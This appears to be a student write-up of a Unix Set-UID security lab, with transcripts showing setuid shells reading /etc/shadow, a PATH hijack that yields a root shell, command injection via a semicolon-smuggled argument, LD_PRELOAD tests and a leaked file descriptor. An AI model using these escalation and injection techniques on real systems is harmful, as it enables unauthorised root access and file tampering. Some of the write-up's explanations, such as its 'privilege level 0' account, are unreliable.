INTRODUCTION

Set-UID is an important mechanism in Unix operating systems. When a Set-UID program is run, it assumes the program owner's privileges. For example, if the program's owner is root, when anyone having execute permission runs this program, the program gains the root's privileges during its execution. Set-UID allows us to do many useful things, but unfortunately, it can also be exploited in a number of ways. Therefore, the objective of this project is two-fold:

- Appreciate Set-UID's good side by understanding why Set-UID is needed and how it is implemented
- Be aware of its bad side by understanding potential security problems it can lead to when used improperly.

I. Task 1: Figure out why "passwd", "chsh", "su", and "sudo" commands need to be Set-UID programs

a. What will happen if they are not? If you are not familiar with these programs, you should first learn what they do by reading their manual descriptions. You should also copy these command binary files to your own directory; the copies will not be Set-UID programs. Run the copied programs, observe the results and describe what you see.

The programs [passwd, chsh, su, sudo] need to access files with a privilege level 0. The user privilege level is > 0, e.g., 3, which does not have dispensation to access files with privilege level 0. Setuid is a way to grant the user temporarily elevated privileges to execute such commands. Essentially, the user will have an Effective UID (EUID) of root when writing to files. An example using the 'ping' command is shown below:

```
$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)

$ ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.008 ms
$ ps -eaf |grep seed |grep ping
seed      9681  3399  0 09:23 pts/3    00:00:00 ping localhost
$ stat -c "%u %g" /proc/9681
1000 1000

$ /usr/bin/sudo ping localhost
[sudo] password for seed:
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.010 ms

$ ps -eaf |grep root |grep ping
root      9713  3399  0 09:26 pts/3    00:00:00 /usr/bin/sudo ping localhost
root      9714  9713  0 09:26 pts/3    00:00:00 ping localhost
$ stat -c "%u %g" /proc/9713
0 1000
$ stat -c "%u %g" /proc/9714
0 0
```

Notice that when the 'ping' command was run as 'seed', the PID associated with ping has UID == GID == 1000, which is the UID of the seed user. When 'ping' is executed with 'sudo', there is a PID (9713) associated with ping has UID == 0, which is the UID of the root user. The GID == 1000 is the Group ID of the seed user. The ping command was chosen for it's a long-lived process, i.e., a process that can be investigated while running.

The following experiments ran [passwd, chsh, su, sudo] that were copied into seed's $HOME without the setuid-bit being set. They all failed to execute with differing error responses (as shown in the output below). Interestingly, running the 'sudo' command without the setuid-bit being set actually responded '`must be setuid root`'. Although the error responses differed, the root cause is the same: the seed user needs access to files that are privileged, e.g., level < 3. Since the sudo command gave an interesting error response, it was run with the setuid-bit set. In this case, the program ran without error and as expected. For brevity, this was the only command that was run with the setuid-bit being set.

```
$ pwd
/home/seed/P3_Task1
$ ls -l passwd
-rwxr-xr-x 1 seed seed 41284 Feb 18 13:49 passwd
$ ./passwd
Changing password for seed.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: Authentication token manipulation error
passwd: password unchanged


$ pwd
/home/seed/P3_Task1
$ ls -l chsh
-rwxr-xr-x 1 seed seed 31748 Feb 18 13:49 chsh
$ ./chsh
Password:
Changing the login shell for seed
Enter the new value, or press ENTER for the default
        Login Shell [/bin/bash]: /bin/sh
Cannot change ID to root.


$ pwd
/home/seed/P3_Task1
$ ls -l su
-rwxr-xr-x 1 seed seed 31116 Feb 18 13:49 su
$ ./su - seed
Password:
initgroups: Operation not permitted


$ pwd
/home/seed/P3_Task1
$ ls -l sudo
-rwxr-xr-x 1 seed seed 69708 Feb 18 13:48 sudo
$ ./sudo tail -1 /etc/shadow
sudo: must be setuid root


$ /usr/bin/sudo tail -1 /etc/shadow
[sudo] password for seed:
sshd:*:16080:0:99999:7:::
```

II. Task 2: Run Set-UID shell programs in Linux, and describe and explain your observations

a. Login as root, copy /bin/zsh to /tmp, and make it a set-root-uid program with permission 4755. Then login as a normal user and run /tmp/zsh. Will you get root privilege? Please describe your observation.

In the scenario, the root user set the setuid-bit on the `/tmp/zsh` program and the `zsh` program sets an EUID for the user, therefore allowing users running the `zsh` shell to access files owned by the root user. This can be observed in the output shown below. Notice that the seed user is able to tail a privileged file '`/etc/shadow`' when running the `zsh` shell. Conversely, when running in the default bash shell, the seed user does not have privilege to read the '`/etc/shadow`' file. Also, note the EUID of the seed user is `euid=0(root)` when running in the `zsh` shell: `uid=1000(seed) gid=1000(seed) euid=0(root)`:

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cp /bin/zsh /tmp
# ls -l /tmp/zsh
-rwxr-xr-x 1 root root 612580 Feb 20 13:48 /tmp/zsh
# chmod 4755 /tmp/zsh
# ls -l /tmp/zsh
-rwsr-xr-x 1 root root 612580 Feb 20 13:48 /tmp/zsh

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sa
mbashare),130(wireshark)
$ tail -f /etc/shadow
tail: cannot open `/etc/shadow' for reading: Permission denied

$ /tmp/zsh
ubuntu# id
uid=1000(seed) gid=1000(seed) euid=0(root)
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark),1000(seed)
ubuntu# tail -f /etc/shadow
sshd:*:16080:0:99999:7:::
$ ps -u seed |grep tail
$ ps -U root |grep tail
$ ps -u root |grep tail
 7204 pts/4    00:00:00 tail
$ ps -U seed |grep tail
 7204 pts/4    00:00:00 tail
$ stat -c "%u %g" /proc/7204
0 1000
$ stat -c "%u %g" /proc/7204/status
0 0

$ ps -u seed |grep zsh
$ ps -U root |grep zsh
$ ps -u root |grep zsh
 7110 pts/4    00:00:00 zsh
$ ps -U seed |grep zsh
 7110 pts/4    00:00:00 zsh
$ stat -c "%u %g" /proc/7110
0 1000
$ stat -c "%u %g" /proc/7110/status
0 0
```

Notice the processes for the `tail` command running with EUID (`-U`) and RUID (`-u`) for the root and seed users. The root user's RUID and the seed user's EUID are associated with the same PID.

Similarly, the processes for `zsh` shell confirm what was observed for the `tail` command.

b. Instead of copying /bin/zsh, this time, copy /bin/bash to /tmp, and make Instead of copying /bin/zsh, this time, copy /bin/bash to /tmp, and make it a set-root-uid program. Run /tmp/bash as a normal user. Will you get root privilege? Please describe and explain your Observations.

In the scenario, although the root user set the setuid-bit on the `/tmp/ash` program, the `bash` program **DOES NOT** set an EUID for the user, therefore disallowing users running the `bash` shell to access files owned by the root user. This can be observed in the output shown below (also shown in Part a, where `/bin/bash` was run as a baseline test):

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cp /bin/bash /tmp
# ls -l /tmp/bash
-rwxr-xr-x 1 root root 920788 Feb 21 07:40 /tmp/bash
# chmod 4755 /tmp/bash
# ls -l /tmp/bash
-rwsr-xr-x 1 root root 920788 Feb 21 07:40 /tmp/bash

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sa
mbashare),130(wireshark)
$ tail -f /etc/shadow
tail: cannot open `/etc/shadow' for reading: Permission denied
$ /tmp/bash
bash-4.2$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sa
mbashare),130(wireshark)
$ tail -f /etc/shadow
tail: cannot open `/etc/shadow' for reading: Permission denied

$ ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.008 ms
$ ps -U root |grep ping
$ ps -u root |grep ping
$ ps -u seed |grep ping
 7271 pts/4    00:00:00 ping
$ ps -U seed |grep ping
 7271 pts/4    00:00:00 ping
$ stat -c "%u %g" /proc/7271
1000 1000
$ stat -c "%u %g" /proc/7271/status
0 0

$ ps -U root |grep 7328
$ ps -u root |grep 7328
$ ps -u seed |grep 7328
 7328 pts/4    00:00:00 bash
$ ps -U seed |grep 7328
 7328 pts/4    00:00:00 bash
$ stat -c "%u %g" /proc/7328
1000 1000
$ stat -c "%u %g" /proc/7328/status
0 0
```

III. Task 3: The PATH environment variable

The system(const char *cmd) library function can be used to execute a command within a program. The way system(cmd) works is by invoking the /bin/sh program, and then letting the shell program execute cmd. Because of the invoked shell program, calling system() within a Set-UID program is extremely dangerous. This is because the actual behavior of the shell program can be affected by environment variables, such as PATH; these environment variables are under user's control. By changing these variables, malicious users can control the behavior of the Set-UID program. The program below is supposed to execute the /bin/ls command; however, the programmer only uses the relative path for the ls command, rather than the absolute path.

```
int main() {
  system("ls");
  return 0;
}
```

a. Can you run the above program with Set-UID (owned by root) instead of /bin/ls to list files? If you can, is your code running with the root privilege? Describe and explain your observations.

The experiment linked `bash` to `sh`. When `/bin/ls` is copied to `./ls`, e.g., the `ls` command is local to seed $HOME and the malicious `ls` c program is run, then the EUID of the seed user is `euid=0(root).` Since the EUID is root, the seed user can ls files in root's $HOME.

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /bin
# ls -l sh
lrwxrwxrwx 1 root root 4 Aug 13  2013 sh -> dash
# rm sh
# ln -s zsh sh
# ls -l sh
lrwxrwxrwx 1 root root 3 Feb 24 08:28 sh -> zsh

# gcc -w /home/seed/TASKS/P3_Task3/system_ls.c -o /home/seed/TASKS/P3_Task3/system_ls
# ls -l /home/seed/TASKS/P3_Task3/system_ls
-rwxr-xr-x 1 root root 7165 Feb 24 13:12 /home/seed/TASKS/P3_Task3/system_ls
# chmod 4755 /home/seed/TASKS/P3_Task3/system_ls
# ls -l /home/seed/TASKS/P3_Task3/system_ls
-rwsr-xr-x 1 root root 7165 Feb 24 13:12 /home/seed/TASKS/P3_Task3/system_ls

$ cp /bin/sh ls
$ which ls
./ls
$ ls
ls: no such option: color=auto
$ ./system_ls
ubuntu# id
uid=1000(seed) gid=1000(seed) euid=0(root)
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambasha
re),130(wireshark),1000(seed)
ubuntu# /bin/ls ~root
Desktop
```

b. Now, change /bin/sh so it points back to /bin/bash, and repeat the above attack. Can you still get root privilege? Describe and explain your observations.

The experiment linked `bash` to `sh`. When `/bin/ls` is copied to `./ls`, e.g., the `ls` command is local to seed $HOME and the malicious `ls c` program is run, the EUID of the seed user is not modified. Since the EUID is unmodified, the seed user **cannot** ls files in root's $HOME.

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /bin
# ls -l sh
lrwxrwxrwx 1 root root 3 Feb 24 12:23 sh -> zsh
# rm sh
# ln -s bash sh
# ls -l sh
lrwxrwxrwx 1 root root 4 Feb 24 13:26 sh -> bash

$ cp /bin/sh ls
$ which ls
./ls
$ ./system_ls
ls-4.2$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
ls-4.2$ /bin/ls ~root
/bin/ls: cannot open directory /root: Permission denied
```

IV. Task 4: The difference between system() and execve()

Before you work on this task, please make sure that /bin/sh is pointed to /bin/zsh. Background: Bob works for an auditing agency, and he needs to investigate a company for a suspected fraud. For the investigation purposes, Bob needs to be able to read all the files in the company's Unix system; on the other hand, to protect the integrity of the system, Bob should not be able to modify any file. To achieve this goal, Charlie, the sysadmin, wrote a special set-root-uid program (see below), and then gave execute permission to Bob. This program requires Bob to type a file name at the command line, and then it will run /bin/cat to display the specified file. Since the program is running as root, it can display any file Bob specifies. However, since the program has no write operations, Charlie is very sure that Bob cannot use this special program to modify any file.

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
  char *v[3];
  if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }

  v[0] = "/bin/cat";
  v[1] = argv[1];
  v[2] = 0;

  /* Set q = 0 for Question a, and q = 1 for Question b */
  int q = 0;
  if (q == 0) {
    char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);
    system(command);
  }
  else execve(v[0], v, 0);
    return 0;
}
```

a. Set q = 0 in the program. This way, the program will use system() to invoke the command. Is this program safe? If you were Bob, can you compromise the integrity of the system? For example, can you remove any file that is not writable by you? (Hint: remember that system() actually invokes /bin/sh, and then runs the command within the shell environment. We have tried the environment variable in the previous task; here let us try a different attack. Please pay attention to the special characters used in a normal shell environment).

The malicious c program allows a second argv to be input by the user (`v[1] = argv[1])` and concatenates the `/bin/cat` command with the second `argv`. The shell interprets this string as two separate commands (`/bin/cat` and the shell command entered by the user) with a system call. When the malicious program is run with the setuid-bit set, then Bob has elevated privileges and can compromise the integrity of the system by gaining read/write access to privileged files.

```
# gcc -w /home/seed/TASKS/P3_Task3/read_only.c -o /home/seed/TASKS/P3_Task3/read_only
# ls -l /home/seed/TASKS/P3_Task3/read_only
-rwxr-xr-x 1 root root 7316 Feb 24 13:48 /home/seed/TASKS/P3_Task3/read_only
# chmod 4755 /home/seed/TASKS/P3_Task3/read_only
# ls -l /home/seed/TASKS/P3_Task3/read_only
-rwsr-xr-x 1 root root 7316 Feb 24 13:48 /home/seed/TASKS/P3_Task3/read_only

# touch /tmp/FILE
# ls -l /tmp/FILE
-rw-r--r-- 1 root root 0 Feb 24 13:57 /tmp/FILE

$ ls -l /tmp/FILE
-rw-r--r-- 1 root root 0 Feb 24 13:57 /tmp/FILE
$ ./read_only "/tmp/FILE"
YOU ARE IN FILE

$ mv /tmp/FILE /tmp/HACK_FILE
mv: cannot move `/tmp/FILE' to `/tmp/HACK_FILE': Operation not permitted
$ ./read_only "/tmp/FILE;mv /tmp/FILE /tmp/HACK_FILE"
$ ls -l /tmp/FILE
ls: cannot access /tmp/FILE: No such file or directory
$ ls -l /tmp/HACK_FILE
-rw-r--r-- 1 root root 0 Feb 24 13:57 /tmp/HACK_FILE
$ rm /tmp/HACK_FILE
rm: remove write-protected regular empty file `/tmp/HACK_FILE'? y
rm: cannot remove `/tmp/HACK_FILE': Operation not permitted
$ ./read_only "/tmp/HACK_FILE;rm /tmp/HACK_FILE"
$ ls -l /tmp/HACK_FILE
ls: cannot access /tmp/HACK_FILE: No such file or directory
```

b. Set q = 1 in the program. This way, the program will use execve() to invoke the command. Do your attacks in task (a) still work? Please describe and explain your observations.

In this experiment, the use of `execve(v[0], v, 0)`. Takes in the arguments entered by the user and concatenates with `/bin/cat` . However, unlike the system call, `execve` interprets the arguments entered by the user as a string. In this case, a file name for the `cat` command. Thus, `execve` **does not allow** for the same command injection attack as in Task 4.a. Bob **cannot** compromise the integrity of the system by gaining read/write access to privileged files.

```
# gcc -w /home/seed/TASKS/P3_Task3/read_only_execve.c -o
/home/seed/TASKS/P3_Task3/read_only_execve
# ls -l /home/seed/TASKS/P3_Task3/read_only_execve
-rwxr-xr-x 1 root root 7323 Mar  5 09:51 /home/seed/TASKS/P3_Task3/read_only_execve
# chmod 4755 /home/seed/TASKS/P3_Task3/read_only_execve
# ls -l /home/seed/TASKS/P3_Task3/read_only_execve
-rwsr-xr-x 1 root root 7323 Mar  5 09:51 /home/seed/TASKS/P3_Task3/read_only_execve

# touch /tmp/FILE
# ls -l /tmp/FILE
-rw-r--r-- 1 root root 0 Feb 24 13:57 /tmp/FILE

$ ls -l /tmp/FILE
-rw-r--r-- 1 root root 0 Feb 24 13:57 /tmp/FILE
$ ./read_only_execve "/tmp/FILE"
YOU ARE IN FILE
$ mv /tmp/FILE /tmp/HACK_FILE
mv: cannot move `/tmp/FILE' to `/tmp/HACK_FILE': Operation not permitted
$ ./read_only_execve "/tmp/FILE;mv /tmp/FILE /tmp/HACK_FILE"
/bin/cat: /tmp/FILE;mv /tmp/FILE /tmp/HACK_FILE: No such file or directory
$ ./read_only_execve "/tmp/FILE;rm /tmp/FILE"
/bin/cat: /tmp/FILE;rm /tmp/FILE: No such file or directory
```

V. Task 5: The LD PRELOAD environment variable

To make sure Set-UID programs are safe from the manipulation of the LD PRELOAD environment variable, the runtime linker (ld.so) will ignore this environment variable if the program is a Set-UID root program, except for some conditions. We will figure out what these conditions are in this task.

(step 1) Let us build a dynamic link library. Create the following program, and name it mylib.c. It basically overrides the sleep() function in libc:

```
#include <stdio.h>
void sleep (int s) {
      printf("I am not sleeping!\n");
}
```

(step 2) We can compile the above program using the following commands:

```
gcc -fPIC -g -c mylib.c
gcc -shared -W1,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc
```

(step 3) Now, set the LD PRELOAD environment variable using the following command:

```
export LD_PRELOAD=./libmylib.so.1.0.1
```

(step 4) Compile the following program (put this program in the same directory as libmylib.so.1.0.1):

```
/* myprog.c */
int main() {
      sleep(1); return 0;
}
```

(step 5) Please run myprog under the following conditions and observe what happens. Based on your observations, describe when the runtime linker will ignore the LD PRELOAD environment variable, and explain why.

- Make myprog a regular program, and run it as a normal user.

  The runtime linker **does not ignore** the `LD_PRELOAD` environment variable when `myprog` is run as seed user:

```
$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
$ gcc -fPIC -g -c mylib.c
$ gcc -shared -W1,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ echo $LD_PRELOAD
./libmylib.so.1.0.1
$ gcc -w myprog.c -o myprog
$ ls -l myprog
-rwxrwxr-x 1 seed seed 7161 Mar  9 09:18 myprog

$ ./myprog
I am not sleeping!
```

- Make myprog a Set-UID root program, and run it as a normal user.
  The runtime linker **ignores** the LD_PRELOAD environment variable when run as seed user and uses /bin/sleep instead. This can be explained from man ld.so, where for LD_PRELOAD, only libraries in standard search directories that are also **setgid will be loaded**:

```
5$ man ld.so
LD_PRELOAD
       A whitespace-separated list of additional, user-specified, ELF shared libraries
       to be loaded before all others. This can be used to selectively override
       functions in other shared libraries. For setuid/setgid ELF binaries, only
       libraries in the standard search directories that are also setgid will be
       loaded.

# gcc -fPIC -g -c mylib.c
# gcc -shared -W1,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc
# export LD_PRELOAD=./libmylib.so.1.0.1
# echo $LD_PRELOAD
./libmylib.so.1.0.1
# gcc -w myprog.c -o myprog
# chmod 4755 myprog
# ls -l myprog
-rwsr-xr-x 1 root root 7161 Mar  9 09:48 myprog

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
$ ./myprog
$
```

- Make myprog a Set-UID root program, and run it in the root account.

  The runtime linker **does not ignore** the LD PRELOAD environment variable when run as root user. In this case, root has elevated privileges and can pre-load and execute the program's sleep function:

```
# id
uid=0(root) gid=0(root) groups=0(root)
# ./myprog
I am not sleeping!
```

- Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), and run it as a different user (not-root user).

  The runtime linker **ignores** the LD_PRELOAD environment variable when run as seed user and myprog is a set-UID user1 program. Similar to user seed running myprog as a set-UID root program, LD_PRELOAD is ignored and /bin/sleep is run instead. This can be explained from man ld.so, where for LD_PRELOAD, only libraries in standard search directories that are also **setgid will be loaded**:

```
# useradd -d /home/user1 -s /bin/bash -m user1
# getent passwd |grep user1
user1:x:1001:1002::/home/user1:/bin/bash
# mkdir ~user1/TASK5
# cp mylib.c myprog.c ~user1/TASK5/
# chown -R user1:user1 ~user1
# su user1
$ id
uid=1001(user1) gid=1002(user1) groups=1002(user1)
$ unset LD_PRELOAD
$ gcc -fPIC -g -c mylib.c
user1@ubuntu:~/TASK5$ gcc -shared -W1,-soname,libmylib.so.1 -o libmylib.so.1.0.1
mylib.o -lc
user1@ubuntu:~/TASK5$ export LD_PRELOAD=./libmylib.so.1.0.1
$ env |grep LD_PRELOAD
LD_PRELOAD=./libmylib.so.1.0.1
$ gcc -w myprog.c -o myprog
user1@ubuntu:~/TASK5$ chmod 4755 myprog
user1@ubuntu:~/TASK5$ ls -l myprog
-rwsr-xr-x 1 user1 user1 7161 Mar  9 14:44 myprog
$ ./myprog
I am not sleeping!

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
$ /home/user1/TASK5/myprog
$
```

VI. Task 6 Relinquishing privileges and cleanup

To be more secure, Set-UID programs usually call setuid() system call to permanently relinquish their root privileges. However, sometimes, this is not enough. Compile the following program, and make the program a set-root-uid program. Run it in a normal user account and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observations.

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void main() {
      int fd;
      fd = open("/etc/zzz", O_RDWR | O_APPEND);
      /* Assume that /etc/zzz is an important system file, and it is owned by root
         with permission 0644 */

      /* Simulate the tasks conducted by the program */
      sleep(1);

      /* After the task, the root privileges are no longer needed, it's time to
         relinquish the root privileges permanently. */
      setuid(getuid());

      /* getuid() returns the real  uid */
      if (fork()) { /* In the parent process */
            close (fd);
            exit(0);
      }
      else { /* in the child process */
            /* Now, assume that the child process is compromised, malicious attackers
               have injected the following statements into this process */
            write (fd, "Malicious Data", 14);
            close (fd);
      }
}
```

The /etc/zzz file is modified by user seed, a non-privileged user:

```
# gcc -w system_setuid.c -o system_setuid
# chmod 4755 system_setuid
# ls -l system_setuid
-rwsr-xr-x 1 root root 7426 Mar 10 09:21 system_setuid
# touch /etc/zzz
# ls -ltr /etc/zzz
-rw-r--r-- 1 root root 0 Mar 10 09:28 /etc/zzz

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
$ ./system_setuid
$ cat /etc/zzz
Malicious Data$
```

After running some additional experiments with the system_setuid program, I found that the location of setuid in the program affects write access to the /etc/zzz file. The setuid command was moved before opening the privileged /etc/zzz file and the new program was named system_setuid_first. In this case, write access to the privileged /etc/zzz file is not allowed:

```
/* Modifications to program, setuid moved before opening file to increase security,
   e.g., disallow write access to privileged files */
setuid(getuid());
fd = open("/etc/zzz", O_RDWR | O_APPEND);

# gcc -w system_setuid_first.c -o system_setuid_first
# chmod 4755 system_setuid_first
# ls -l system_setuid_first
-rwsr-xr-x 1 root root 7432 Mar 10 09:47 system_setuid_first

$ id
uid=1000(seed) gid=1000(seed)
groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(samba
share),130(wireshark)
$ ./system_setuid_first
$ cat /etc/zzz
$
```